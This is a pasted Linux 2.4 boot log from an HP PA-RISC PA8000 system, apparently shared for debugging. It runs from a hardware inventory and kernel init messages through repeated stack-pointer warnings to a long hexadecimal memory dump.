1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. U2-IOA BC GSC+ Port (7) at 0xf103f000 [8/63], versions 0x501, 0x1, 0xc
3. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
4. Mohawk Core FW-SCSI (4) at 0xf1800000 [10/0], versions 0x44, 0x0, 0x89
5. Gecko BOA BC GSC+ Port (7) at 0xf1804000 [10/4], versions 0x500, 0x0, 0xc
6. Sahp Baat Kiuh AP/MUX (5) at 0xf1900000 [10/4/0], versions 0x44, 0x0, 0xd
7. Interphase NIO-100BaseTX (4) at 0xf1908000 [10/4/8], versions 0x4, 0x0, =
0x382
8. Skunk SCSI (28655A) (4) at 0xf1910000 [10/4/16], versions 0x4, 0x0, 0x39
9. Skunk Centronics (28655A) (5) at 0xf1911000 [10/4/17], versions 0x4, 0x0=
, 0x3a
10. Gecko BOA BC HP-PB Port (7) at 0xf193c000 [10/4/60], versions 0x103, 0x=
0, 0xc
11. Mohawk Core BA (11) at 0xffd00000 [10/12], versions 0x44, 0x0, 0x81,
    additional addresses: 0xffd0c000 0xffc00000
12. Mohawk Core Centronics (10) at 0xffd02000 [10/12/0], versions 0x44, 0x0,
    0x74,  additional addresses: 0xffd01000 0xffd03000
13. Mohawk Core SCSI (10) at 0xffd06000 [10/12/5], versions 0x44, 0x0, 0x82
14. Mohawk Core LAN (802.3) (10) at 0xffd07000 [10/12/6], versions 0x44, 0x=
0,
    0x8a
15. Mohawk Core PS/2 Port (10) at 0xffd08000 [10/12/7], versions 0x44, 0x0,=
 0x84
16. Mohawk Core PS/2 Port (10) at 0xffd08100 [10/12/8], versions 0x44, 0x0,=
 0x84
17. U2-IOA BC GSC+ Port (7) at 0xf183f000 [10/63], versions 0x501, 0x1, 0xc
18. Mohawk 160 U 1M DC3- (K250) (0) at 0xfffa0000 [32], versions 0x5a4, 0x0=
, 0x4
19. Memory (1) at 0xfffb1000 [49], versions 0x53, 0x0, 0x9
CPU(s): 1 x PA8000 (PCX-U) at 160.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
STI GSC/PCI graphics driver version 0.9
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead
Dumping Stack from 0x3fff8000 to 0x3fff8740:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead
Dumping Stack from 0x3fff8000 to 0x3fff8b80:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

(.. - and so on - I just print the 'Dumping stack' lines from now)

Dumping Stack from 0x3fff8000 to 0x3fff8fc0:
Dumping Stack from 0x3fff8000 to 0x3fff9400:
Dumping Stack from 0x3fff8000 to 0x3fff9840:
Dumping Stack from 0x3fff8000 to 0x3fff9c80:
Dumping Stack from 0x3fff8000 to 0x3fffa0c0:
Dumping Stack from 0x3fff8000 to 0x3fffa500:
Dumping Stack from 0x3fff8000 to 0x3fffa940:
Dumping Stack from 0x3fff8000 to 0x3fffad80:
Dumping Stack from 0x3fff8000 to 0x3fffb1c0:
Dumping Stack from 0x3fff8000 to 0x3fffb600:
Dumping Stack from 0x3fff8000 to 0x3fffba40:
Dumping Stack from 0x3fff8000 to 0x3fffbe80:
Dumping Stack from 0x3fff8000 to 0x3fffc2c0:
Dumping Stack from 0x3fff8000 to 0x3fffc700:
Dumping Stack from 0x3fff8000 to 0x3fffcb40:
Dumping Stack from 0x3fff8000 to 0x3fffcf80:
Dumping Stack from 0x3fff8000 to 0x3fffd3c0:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead
Dumping Stack from 0x3fff8000 to 0x3fffd800:
2D10L
FLT CBF0C1D2D10L
FLT 5002C1D2D10L
FLT 7D03C1D2D10L
FLT 5408C1D2D10L
FLT 5508C1D2D10L
FLT CBFBC1D

WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead
Dumping Stack from 0x40000000 to 0x400001c0:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

8000 82425ed8 275c3a54 0484bdb0 4eb874a8 09097b60 9d70e950 12644392 3a9767f3
8020 24c88724 752ecfe6 49910e48 ea5d9fcc 9354a9c2 d4cd8acb 26dfe6d6 a9eda0c5
8040 4dc978fe 53adf4d9 9b92f1fc a75be9b2 375356aa 4ec16637 6ea6ad54 9d82cc6e
8060 dd3beffa 3b732d8f ba77dff4 76e65b1e 74efbfe8 edccb63c e9a9ca82 dbefd92b
8080 d3252056 b7a90705 a63cf5fe 6f24bb59 4c79ebfc de4976b2 988562aa bce45837
80a0 317c7006 79be053d 62f8e00c f37c0a7a c587754a e68ea1a7 8b785fc6 cd6bf61d
80c0 16860ade 9aa15969 2d7aa0ee 35340781 5af541dc 6a680f02 b5ea83b8 d4d01e04
80e0 6ba3b222 a9d6895b d731d116 53dba7e5 ae63a22c a7b74fca 5cb1f10a 4f182ac7
8100 b963e214 9e30558e 72b1717a 3c161e4f e562e2f4 782c3c9e cac5c5e8 f058793c
8120 95fd3e82 e0c6472b 2b8cc856 c1fa3b05 576f25fe 8382c359 aea8feae 077333e1
8140 5d51fd5c 0ee667c2 baa3fab8 1dcccf84 7547f570 3b999f08 ea8feae0 77333e10
8160 d51fd5c0 ee667c20 aa491ed2 dcba4d13 54e488f6 b9022f75 a9bfa4be 7272ebb9
8180 537f497c e4e5d772 a68827aa c9bd1bb7 4d66fa06 930c823d 9abb415e 266fb129
81a0 357682bc 4cdf6252 6aed0578 99bec4a4 d5acbfa2 330b3c1b ab597f44 66167836
81c0 56b2fe88 cc2cf06c ad134842 982f558b 5a5025d6 30281e45 b4a04bac 60503c8a
81e0 69409758 c0a07914 d2f79be2 8136477b a5998296 021a3ba5 4b33052c 0434774a
8200 96660a58 0868ee94 2ccc14b0 10d1dd28 59982960 21a3ba50 b33052c0 434774a0
8220 6660a580 868ee940 ccb7fe52 0d6b67d3 996ffca4 1ad6cfa6 32dff948 35ad9f4c
8240 65bff290 6b5b3e98 cb7fe520 d6b67d30 96897f12 ad1a4f33 2d644b76 5a422b35
8260 5ac896ec b484566a b5e7988a 697e1987 6bcf3114 d2fc330e d7e8d77a a58ed34f
8280 afa71ba6 4b6b13cd 5f4e374c 96d6279a beeadbca 2ddafa67 7dd5b794 5bb5f4ce
82a0 fbab6f28 b76be99c f7206b02 6ea1666b ee40d604 dd42ccd6 dcf7195a baf32cff
82c0 b99887e6 7590ecad 73310fcc eb21d95a e614aaca d63507e7 cc5fe0c6 ac1cba9d
82e0 98c974de 584fc069 3192e9bc b09f80d2 6353662a 6149b4f7 c6a6cc54 c29369ee
8300 8d3b2dfa 8550668f 1a00eea6 0ad6784d 3401dd4c 15acf09a 6803ba98 2b59e134
8320 d0077530 56b3c268 a00eea60 ad6784d0 406b6192 5ab9bcf3 80d6c324 b57379e6
8340 01db331a 6a90469f 03b66634 d5208d3e 071a793a aa37af2f 0e424726 5419eb0d
8360 1c848e4c a833d61a 397fa9ca 50111967 72ff5394 a02232ce e588127a 4032d0cf
8380 cb1024f4 8065a19e 9656fcba 00bdf66f 2cadf974 017becde 595bf2e8 02f7d9bc
83a0 b2b7e5d0 05efb378 656fcba0 0bdf66f0 cadf9740 17becde0 95bf2e80 2f7d9bc0
83c0 2b7e5d00 5efb3780 56fcba00 bdf66f00 ad8fc152 7b9a6b53 5b1f82a4 f734d6a6
83e0 b649b01a ee1f181f 6ce5d566 dc48856d d9bd1f9e b8e7bf89 b30c8a6e 71b9ca41
8400 661914dc e3739482 cc449cea c6919c57 98ff8c86 8d558dfd 3189ac5e 1addaea9
8420 631358bc 35bb5d52 c626b178 6b76baa4 8c4d62f0 d6ed7548 18ec70b2 adac5fc3
8440 31ae5436 5b2e0ad5 635ca86c b65c15aa c6cfe58a 6cce9e07 8d9fcb14 d99d3c0e
8460 1b49237a b34ccd4f 36e4f3a6 66ef2fcd 6dc9e74c cdde5f9a dbe57bca 9bca0a67
8480 b7bc42c6 37e2a19d 6f78858c 6fc5433a def10b18 df8a8674 bd94a362 bf63b9bb
84a0 7b5ff396 7eb1c625 f6bfe72c fd638c4a ed097b0a fab1adc7 da644346 f515eedd
84c0 b4be33de ea5d68e9 690ad2ee d4cc6481 d263108e a9ee7c51 a4b0944e 53aa4df1
84e0 4961289c a7549be2 92b4e46a 4edf8297 2569c8d4 9dbf052e 4aa524fa 3b08bf0f
8500 954a49f4 76117e1e 2a9493e8 ec22fc3c 555f9282 d8334d2b aac99056 b0102f05
8520 55e595fe 6056eb59 abcb2bfc c0add6b2 57e0e2aa 812d1837 afb77006 022c853d
8540 5f6ee00c 04590a7a beddc018 08b214f4 7dbb8030 116429e8 fb770060 22c853d0
8560 f6ee00c0 4590a7a0 eddc0180 8b214f40 dbceb652 16342bd3 b79d6ca4 2c6857a6
8580 6f3ad948 58d0af4c de75b290 b1a15e98 bc9dd072 63340863 793ba0e4 c66810c6
85a0 f201f49a 8ca694df e4755c66 193b9ced c8eab8cc 327739da 91d57198 64ee73b4
85c0 23aae330 c9dce768 47237332 93cf7b83 8e305336 27e84255 1c60a66c 4fd084aa
85e0 38c14cd8 9fa10954 71f42ce2 3f34a7fb e3e859c4 7e694ff6 c7d0b388 fcd29fec
8600 8fd7d242 f9d38a8b 1fd911d6 f3d1a045 3fc496fe e7d5f5d9 7fff98ae cfdd5ee1
8620 ff89840e 9fcc0891 ff65bd4e 3feea471 fecb7a9c 7fdd48e2 fd96f538 ffba91c4
8640 fb5b5f22 ff0396db f6c00b16 fe7198e5 edf6a37e fc958499 db9bf3ae f95dbc61
8660 b741520e f2cdcd91 6ef4114e e5ed2e71 dd9e97ce cbace9b1 bb4b9ace 972f6631
8680 76e180ce 2e287931 edc3019c 5c50f262 db860338 b8a1e4c4 b77ab322 71357cdb
86a0 6ef56644 e26af9b6 dd9c79da c4a3463f bb4e46e6 8930392d 76ea389e 1216c709
86c0 edd4713c 242d8e12 dba8e278 485b1c24 b751c4f0 90b63848 6ed53cb2 211ac5c3
86e0 ddaa7964 42358b86 bb54f2c8 846b170c 76df50c2 08a09b4b edbea184 11413696
8700 db7d4308 22826d2c b6fa8610 4504da58 6df50c20 8a09b4b0 db9cad12 1465dc33
8720 b7395a24 28cbb866 6e72b448 519770cc dce56890 a32ee198 b9bc6472 462b7663
8740 7378c8e4 8c56ecc6 e687249a 18db6cdf cd0e4934 31b6d9be 9a1c9268 636db37c
8760 343924d0 c6db66f8 6804fcf2 8dc078a3 d07f4cb6 1bf64415 a0fe996c 37ec882a
8780 41fd32d8 6fd91054 83fa65b0 dfb220a8 07827e32 bf12f403 0f724936 7e535d55
87a0 1ee4926c fca6baaa 3dbf918a f93bc007 7b099646 f201355d f66599de e474dfe9
87c0 ecbd86ee c89f0a81 d90db88e 9148a051 b26dc44e 22e7f5f1 64db889c 45cfebe2
87e0 c9b71138 8b9fd7c4 93189722 17491adb 26312e44 2e9235b6 4c625c88 5d246b6c
8800 98c4b910 ba48d6d8 31ffc772 74e718e3 63ff8ee4 e9ce31c6 c789a89a d3ead6df
8820 8f65e466 a7a318ed 1ebd7d9e 4f308489 3d7afb3c 9e610912 7a83432a 3cb4a777
8840 f5068654 79694eee ea0d0ca8 f2d29ddc d46cac02 e5d38eeb a8afed56 cbd1a885
8860 51296ffe 97d5e459 a2246aae 2fdd7de1 4448d55c 5fbafbc2 8891aab8 bf75f784
8880 1155e022 7e9d5a5b 22abc044 fd3ab4b6 452135da fa03dc3f 8a34dee6 f4710d2d
88a0 141f089e e894af09 2848a46e d15feb41 50e7fd8e a2c963d1 a1b94e4e 45e472f1
88c0 43729c9c 8bc8e5e2 86938c6a 17e77e97 0d2718d4 2fcefd2e 1a4e31a8 5f9dfa5c
88e0 349c6350 bf3bf4b8 694e73f2 7e015c23 d29ce7e4 fc02b846 a54f7a9a f873c5df
8900 4ae84066 f0913eed 95a6359e e154c889 2b3ade6e c2df2441 5603098e 85c8fdd1
8920 ac70a64e 0be74ef1 58e14c9c 17ce9de2 b1c29938 2f9d3bc4 63853270 5f3a7788
8940 c70a64e0 be74ef10 8e627c92 7c9f6b73 1cc4f924 f93ed6e6 39ff471a f20b189f
8960 73883b66 e460846d e766c39e c8b7bd89 cebb326e 9119ce41 9d00d18e 224529d1
8980 3a01a31c 448a53a2 74034638 8914a744 e8703922 125ffbdb d0e07244 24bff7b6
89a0 a1c0e488 497fef6c 4381c910 92ffded8 87752772 258908e3 0eea4ee4 4b1211c6
89c0 1dd49dc8 9624238c 3bdf8ec2 2c3ef24b 77bf1d84 587de496 ef7e3b08 b0fbc92c
89e0 de8ac342 6181270b bd158684 c3024e16 7a5db85a 8672297f f4cdc5e6 0c92e7ad
8a00 e99b8bcc 1925cf5a d3371798 324b9eb4 a66e2f30 64973d68 4cdc5e60 c92e7ad0
8a20 99ce0992 922a40f3 33eaa676 242234b5 67d54cec 4844696a cfaa99d8 9088d2d4
8a40 9f2386e2 216710fb 3e470dc4 42ce21f6 7c8e1b88 859c43ec f96a8242 0b4e328b
8a60 f2d50484 169c6516 e5aa0908 2d38ca2c cb541210 5a719458 96a82420 b4e328b0
8a80 2d26fd12 69b0e433 5a4dfa24 d361c866 b4ed411a a6b5259f 69ac3766 4d1cfe6d
8aa0 d3586ecc 9a39fcda a6c668ca 34054ce7 4d8cd194 680a99ce 9b19a328 d015339c
8ac0 3645f302 a05cd26b 6cfd60 6b491480 b8f634c0
9100 d6e49c52 719adcd3 adc938a4 e335b9a6 5be4c41a c61dc61f b7bf3d66 8c4d396d
9120 6f08cf9e 18ecc789 de119f3c 31d98f12 bc233e78 63b31e24 78467cf0 c7663c48
9140 f0fa4cb2 8ebacdc3 e1822c36 1d032ed5 c304586c 3a065daa 8608b0d8 740cbb54
9160 0c1161b0 e81976a8 18547632 d0445803 30de5936 a0fe0555 61ca073e 418abff9
9180 c3940e7c 83157ff2 875ea9aa 065c4ab7 0ebd5354 0cb8956e 1d7aa6a8 19712adc
91a0 3af54d50 32e255b8 75ea9aa0 65c4ab70 ebd53540 cb8956e0 d7dcdfd2 97641893
91c0 afcf0af6 2ebe8475 5f9e15ec 5d7d08ea bf3c2bd8 bafa11d4 7e0ee2e2 758296fb
91e0 fc1dc5c4 eb052df6 f84d3eda d67ceebf f0ecc8e6 ac8f682d e1af249e 59686509
9200 c35e493c b2d0ca12 86ca272a 65d72177 0d944e54 cbae42ee 1b5e29fa 972a308f
9220 36cae6a6 2e22d44d 6d95cd4c 5c45a89a db2b9a98 b88b5134 b6218062 7160173b
9240 6c4300c4 e2c02e76 d8f0b4da c5f6e9bf b197dce6 8b9b662d 63590c9e 17407909
9260 c6b2193c 2e80f212 8d643278 5d01e424 1ac864f0 ba03c848 35e67cb2 747125c3
9280 6bccf964 e8e24b86 d7ef479a d1b2225f afa83a66 a312f1ed 5f26c19e 46535689
92a0 be4d833c 8ca6ad12 7cedb32a 193bef77 f9db6654 3277deee f3b6cca8 64efbddc
92c0 e76d9950 c9df7bb8 cead87f2 93c84223 9d2dbab6 27e63115 3a5b756c 4fcc622a
92e0 74b6ead8 9f98c454 e91b60e2 3f473dfb d236c1c4 7e8e7bf6 a46d8388 fd1cf7ec
9300 48adb242 fa4f5a8b 912dd1d6 f4e80045 222d16fe e9a6b5d9 442c98ae d33bdee1
9320 882f840e a6010891 1029bd4e 4c74a471 20537a9c 98e948e2 40d0406a 31a42497
9340 81a080d4 6348492e 034101a8 c690925c 06f4b602 8d5791eb 0d9fd956 1ad99685
9360 1b3fb2ac 35b32d0a 367f6558 6b665a14 6cfecab0 d6ccb428 d98b2032 adefdd03
9380 b360f536 5ba90f55 66c1ea6c b7521eaa cdf5618a 6ed28807 9beac314 dda5100e
93a0 37a3337a bb3c954f 6f30d3a6 760f9fcd de61a74c ec1f3f9a bcb5fbca d848ca67
93c0 791d42c6 b0e7219d f24c30de 61b8f669 e49861bc c371ecd2 c946762a 86956cf7
93e0 92fa5906 0d5c6cbd 25f4b20c 1ab8d97a 4be96418 3571b2f4 97d2c830 6ae365e8
9400 2fa59060 d5c6cbd0 5f3d9592 abfb22f3 be0d9e76 5780f0b5 7c1b3cec af01e16a
9420 f840cc8a 5e757787 f0819914 bceaef0e e175877a 79a36b4f c2eb0ef4 f346d69e
9440 85a0a8ba e6fb186f 0b37e426 cd80858d 16197d1e 9b77be49 2c444f6e 3699c9c1
9460 58889edc 6d339382 b1113db8 da672704 6254ce22 b4b8fb5b c4df2916 690743e5
9480 89be522c d20e87ca 130a110a a46bbac7 26629746 48a1c0dd 4cc52e8c 914381ba
94a0 99fce84a 22f1b627 33f9d094 45e36c4e 67f3a128 8bc6d89c cf91f702 17fb046b
94c0 9f23ee04 2ff608d6 3e47dc08 5fec11ac 7c8fb810 bfd82358 f969c572 7fc6f3e3
94e0 f2d38ae4 ff8de7c6 e5d1a09a ff6d7adf cbd5f466 feac40ed 97dd5d9e fd2e3489
9500 2fcc0e6e fa2adc41 5feea98e f4230dd1 bfabe64e e830aef1 7f2179ce d017e8b1
9520 fe3446ce a0596431 fc1e38ce 40c47d31 f83c719c 8188fa62 f00e566a 03674197
9540 e01cacd4 06ce832e c03959a8 0d9d065c 8072b350 1b3a0cb8 00e566a0 36741970
9560 01cacd40 6ce832e0 03959a80 d9d065c0 075d8052 b3d67ed3 0ecdb5f6 67da48f5
9580 1d9b6bec cfb491ea 3b40628a 9f1f9687 76f67046 3e49985d edece08c 7c9330ba
95a0 dbd9c118 f9266174 b7c53762 f23a77bb 6ffcdb96 e4025a25 df8f027e c8720119
95c0 bf68b1ae 9092b761 7ea7d60e 2153db91 fd4fac1c 42a7b722 fa9f5838 854f6e44
95e0 f5480522 0ae869db ea900a44 15d0d3b6 d5201488 2ba1a76c aa402910 57434ed8
9600 54805220 ae869db0 a9761112 5d7b8e33 52ec2224 baf71c66 a5aef11a 75988d9f
9620 4b5de234 eb311b3e 96cd713a d614832f 2dec5726 ac5fb30d 5bae1b1e 58c9d349
9640 b75c363c b193a692 6eced92a 6351f877 dd9db254 c6a3f0ee bb4dd1fa 8d31548f
9660 76ed16a6 1a141c4d edda2d4c 3428389a dbb45a98 68507134 b768b530 d0a0e268
9680 6ea7df32 a1377183 dd390b36 42185655 ba72166c 8430acaa 7492998a 0817ec07
96a0 e9253314 102fd80e d24a6628 205fb01c a494cc50 40bf6038 492998a0 817ec070
96c0 92258412 028b35b3 244b0824 05166b66 48961048 0a2cd6cc 912c2090 1459ad98
96e0 22584120 28b35b30 44b08240 5166b660 89610480 a2cd6cc0 12b4bc52 45ec6cd3
9700 256978a4 8bd8d9a6 4aa4441a 17c7061f 95488834 2f8e0c3e 2a911068 5f1c187c
9720 552220d0 be3830f8 aa32f4f2 7c06d4a3 5465e9e4 f80da946 a8bd669a f06de7df
9740 510c7866 e0ad7aed a26e459e c12c4089 44aa3e6e 822e3441 8922c98e 042addd1
9760 1245931c 0855bba2 248b2638 10ab7744 49164c70 2156ee88 922c98e0 42addd10
9780 245931c0 855bba20 48c4d6d2 0ac1c113 9189ada4 15838226 23135b48 2b07044c
97a0 4626b690 560e0898 8c4d6d20 ac1c1130 18ec6f12 584e9733 31d8de24 b09d2e66
97c0 63c7091a 614ce99f c78e1234 c299d33e 8f6a913a 8545132f 1ea39726 0afc930d
97e0 3d472e4c 15f9261a 7a8e5c98 2bf24c34 f51cb930 57e49868 ea397260 afc930d0
9800 d4045192 5fe4d4f3 a808a324 bfc9a9e6 5067f31a 7fe5e69f a0cfe634 ffcbcd3e
9820 41e9793a ffe12f2f 83a44726 ffb4eb0d 073e3b1e ff1f6349 0e0ac36e fe4873c1
9840 1c63338e fce652d1 38b0d24e f9ba10f1 711711ce f30294b1 e25896ce e6739c31
9860 c4c798ce cc918d31 89f984ce 9955af31 1385bcce 32ddeb31 270b799c 65bbd662
9880 4e16f338 cb77acc4 9c5b5322 9699ecdb 38c01316 2d456ce5 7180262c 5a8ad9ca
98a0 e3004c58 b515b394 c6762de2 6a5dd27b 8cec5bc4 d4bba4f6 19ae02da a901fcbf
98c0 332ab0e6 52754c2d 665561cc a4ea985a ccdc76ca 49a385e7 99b8ed94 93470bce
98e0 33076e7a 26f8a2cf 660edcf4 4df1459e cc1db9e8 9be28b3c 984dc682 37b3a32b
9900 309b8d04 6f674656 61371a08 dece8cac c2188142 bdebac0b 8447b7d6 7ba1ed45
9920 088f6fac f743da8a 11686a0a eef10047 22a66146 dd94b5dd 453a77de bb5fdee9
9940 8a025aee 76c90881 1404b5dc ed921102 287fdeea db529757 50890886 b6d39bfd
9960 a164a45e 6dd182a9 42c948bc dba30552 85e4242a b730bff7 0bbefd06 6e17cabd
9980 177dfa0c dc2f957a 2e8d414a b8299fa7 5d6c37c6 70258a1d bad86f8c e04b143a
99a0 75c66a4a c0e09d27 ebfa61c6 81b78f1d d78276de 0319ab69 af04edbc 063356d2
99c0 5e09db78 0c66ada4 bc13b6f0 18cd5b48 78276de0 319ab690 f04edbc0 63356d20
99e0 e09db780 c66ada40 c14dda52 8ca301d3 82ed01f6 1930b6f5 05da03ec 32616dea
9a00 0bb407d8 64c2dbd4 17680fb0 c985b7a8 2ea6aa32 937dda03 5d3be136 268d0155
9a20 ba77c26c 4d1a02aa 74ef84d8 9a340554 e9a9bce2 341ebffb d35379c4 683d7ff6
9a40 a6a6f388 d07affec 4d3b5242 a0834a8b 9a0011d6 41702045 340023ac 82e0408a
9a60 6876f20a 05b63447 d0ede414 0b6c688e a1dbc828 16d8d11c 43b79050 2db1a238
9a80 876f20a0 5b634470 0ede4140 b6c688e0 1dca37d2 6dfba493 3b946fa4 dbf74926
9aa0 775e6a1a b798271f eeca6166 6f46fb6d dd94c2cc de8df6da bb5f30ca bd6d58e7
9ac0 76c8d4c6 7aac049d ed91a98c f558093a db55e64a eac6a727 b6dd79c6 d5fbfb1d
9ae0 6dcc46de ab814369 dbee38ee 57743381 b7dc71dc aee86702 6fce56ea 5da67b57
9b00 df9cadd4 bb4cf6ae bf4feefa 76ef580f 7e9fddf4 eddeb01e fd490eba dbcbd56f
9b20 fae4a826 b7e11f8d f5bfe51e 6fb48a49 eb7fca3c df691492 d689212a bea49c77
9b40 ad64f706 7d3f8dbd 5ac9ee0c fa7f1b7a b5e5694a f48883a7 6bbc67c6 e967b21d
9b60 d70e7ade d2b9d169 ae6a40ee a5051781 5ca2348e 4a7c9a51 b944691c 94f934a2
9b80 72fe676a 2984dc17 e5fcced4 5309b82e cbf99da8 a613705c 97858e02 4c5055eb
9ba0 2f0b1c04 98a0abd6 5e608d5a 3137e2ff bcc11ab4 626fc5fe 79823568 c4df8bfc
9bc0 f372df82 89c9a2ab e6930a56 13e5f005 cd2614ac 27cbe00a 9a4c2958 4f97c014
9be0 349852b0 9f2f8028 69461032 3e29b503 d28c2064 7c536a06 a51840c8 f8a6d40c
9c00 4a4634c2 f13b1d4b 94fadcd6 e2008fc5 29830cfe c477aad9 5370acae 8899e0e1
9c20 a697ec0e 11457491 4d2fd81c 228ae922 9a5fb038 4515d244 34bf6070 8a2ba488
9c40 690875b2 1421fc43 d210eb64 2843f886 a421d6c8 5087f10c 4843ad90 a10fe218
9c60 90f1ee72 42697163 21e3dce4 84d2e2c6 43b10c9a 09d370df 87621934 13a6e1be
9c80 0ec43268 274dc37c 1d8864d0 4e9b86f8 3b10c9a0 9d370df0 76572612 3a18aeb3
9ca0 ecae4c24 74315d66 d95c9848 e862bacc b2cf85c2 d0b3c0cb 65e9bed6 a11134c5
9cc0 cba5c8fe 4254dcd9 974b91fc 84a9b9b2 2ee196aa 0925c637 5dc32d54 124b8c6e
9ce0 bb865aa8 249718dc 770cb550 492e31b8 ee196aa0 925c6370 dc446012 24ce73b3
9d00 b888c024 499ce766 71118048 9339cecc e255b5c2 260528cb c4ab6b84 4c0a5196
9d20 8956d708 9814a32c 12db1b42 305ff30b 25b63684 60bfe616 4b6c6d08 c17fcc2c
9d40 96ae6f42 82892d0b 2d2a6bd6 0564ef45 5a54d7ac 0ac9de8a b4a9af58 1593bd14
9d60 69535eb0 2b277a28 d2a6bd60 564ef450 a54d7ac0 ac9de8a0 4aec40d2 594d6413
9d80 95d881a4 b29ac826 2bc7b61a 6543251f 578f6c34 ca864a3e af686d3a 957a212f
9da0 5ea66f26 2a82f70d bd4cde4c 5505ee1a 7a99bc98 aa0bdc34 f545cc62 54610d3b
9dc0 ea8b98c4 a8c21a76 d56184da 51f281bf aac309b4 a3e5037e 55f0a63a 47bcb3af
9de0 abe14c74 8f79675e 57b42dba 1e847bef af685b74 3d08f7de 5ed0b6e8 7a11efbc
9e00 bda16dd0 f423df78 7b346ef2 e8310ba3 f61e68b6 d014a215 ec4a643e a05ff179
9e20 d8e27d2e 40c957a1 b1c4fa5c 8192af42 63ff41ea 0353ebd7 c7fe83d4 06a7d7ae
9e40 8ffd07a8 0d4faf5c 1ffa0f50 1a9f5eb8 3ff41ea0 353ebd70 7fe83d40 6a7d7ae0
9e60 ffd07a80 d4faf5c0 ffd64052 a9835ed3 ffda35f6 537008f5 ffb46bec a6e011ea
9e80 ff1e628a 4db69687 fe3cc514 9b6d2d0e fc0f3f7a 36acef4f f81e7ef4 6d59de9e
9ea0 f03cfde8 dab3bd3c e00f4e82 b511cf2b c0682856 6a552b05 80d050ac d4aa560a
9ec0 01d6140a a9221947 03da9d46 523287dd 07b53a8c a4650fba 0f1cc04a 48bcaa27
9ee0 1e398094 9179544e 3c05b47a 22841dcf 780b68f4 45083b9e f016d1e8 8a10773c
9f00 e05b1682 14565b2b c0b62d04 28acb656 816c5a08 51596cac 02d8b410 a2b2d958
9f20 05c7dd72 451307e3 0b8fbae4 8a260fc6 1769c09a 143aaadf 2ed38134 287555be
9f40 5da70268 50eaab7c bb4e04d0 a1d556f8 76eabcf2 43dc18a3 edd579e4 87b83146
9f60 dbdc469a 0f06d7df b7b88d34 1e0dafbe 6f711a68 3c1b5f7c dee234d0 7836bef8
9f80 bdc469a0 f06d7df0 7bfe6612 e0ac4eb3 f78a7976 c12e2835 ef6247be 822ae539
9fa0 deb23a2e 04237f21 bd64745c 0846fe42 7ac8e8b8 108dfc84 f591d170 211bf908
9fc0 eb23a2e0 4237f210 d64745c0 846fe420 acf83ed2 08a97d13 59f07da4 1152fa26
9fe0 b3e0fb48 22a5f44c 67c1f690 454be898 cf83ed20 8a97d130 9f716f12 15591733
a000 3ee2de24 2ab22e66 7dc5bc48 55645ccc fb8b7890 aac8b998 f7604472 55e7c663
a020 eec088e4 abcf8cc6 ddf7a49a 57e9acdf bbef4934 afd359be 77a8273a 5fd0062f
a040 ef504e74 bfa00c5e ded629ba 7f36adef bdac5374 fe6d5bde 7b2e13ba fcac02ef
a060 f62a9226 f92eb08d ec23911e f22bd449 d831976e e4211dc1 b0159b8e c8348ed1
a080 605d824e 901fa8f1 c0cdb1ce 2049e4b1 819b639c 4093c962 0336c738 812792c4
a0a0 061b3b22 023990db 0c367644 047321b6 186cec88 08e6436c 30d9d910 11cc86d8
a0c0 61b3b220 23990db0 c3676440 47321b60 86cec880 8e6436c0 0deb2452 1cbed8d3
a0e0 1bd648a4 397db1a6 37ac9148 72fb634c 6f592290 e5f6c698 dec4f072 cb9b3863
a100 bdff55b6 9740c595 7b881e3e 2ef73e79 f7103c7c 5dee7cf2 ee2078f8 bbdcf9e4
a120 dc3644a2 77cf469b b86c8944 ef9e8d36 70afa7da df4baf3f e129fae6 bee1eb2d
a140 c225409e 7db56309 844a813c fb6ac612 08e3b72a f6a33977 11b1db06 ed30c7bd
a160 2315035e da173a29 465cb3ee b458c101 8ccfd28e 68c73751 199fa51c d18e6ea2
a180 3349ff6a a36a6817 66e54b86 46a2657d cdca970c 8d44cafa 9be39b4a 1aff20a7
a1a0 37c73694 35fe414e 6f8e6d28 6bfc829c df1cda50 d7f90538 be4f01f2 af84bf23
a1c0 7ce8b6b6 5f7fcb15 f9d16d6c beff962a f3d46f8a 7d899907 e7a8df14 fb13320e
a1e0 cf270b7a f650d14f 9e38a3a6 ecd717cd 3c07f21e d9d89ac9 7879516e b3c780c1
a200 f084178e 67f9b4d1 e1082f1c cff369a2 c266eb6a 9f906617 84bb6386 3f56797d
a220 0976c70c 7eacf2fa 12ed8e18 fd59e5f4 25ada962 fac57ebb 4b2de796 f5fc4825
a240 962d7a7e eb8e2519 2c2c41ae d76aff61 582e360e aea34b91 b02ad94e 5d302271
a260 6055b29c ba6044e2 c0ddd06a 74b63c97 81bba0d4 e96c792e 0301f4fa d2ae470f
a280 06755ca6 a52a3b4d 0c9c0c1e 4a22c3c9 1938183c 94458792 3206852a 28fdba77
a2a0 640d0a54 51fb74ee c81a14a8 a3f6e9dc 90429c02 479b66eb 20853804 8f36cdd6
a2c0 417cc55a 1e1b2eff 82f98ab4 3c365dfe 05f31568 786cbbfc 0be62ad0 f0d977f8
a2e0 17bae0f2 e1c45aa3 2f0374b6 c3fe0015 5e705c3e 878ab579 bc960d2e 0f63dfa1
a300 792c1a5c 1ec7bf42 f25834b8 3d8f7e84 e4b06970 7b1efd08 c960d2e0 f63dfa10
a320 92b71092 ec0d4173 25189476 d86c37b5 4a479dbe b0aeda39 94f98e2e 612b0121
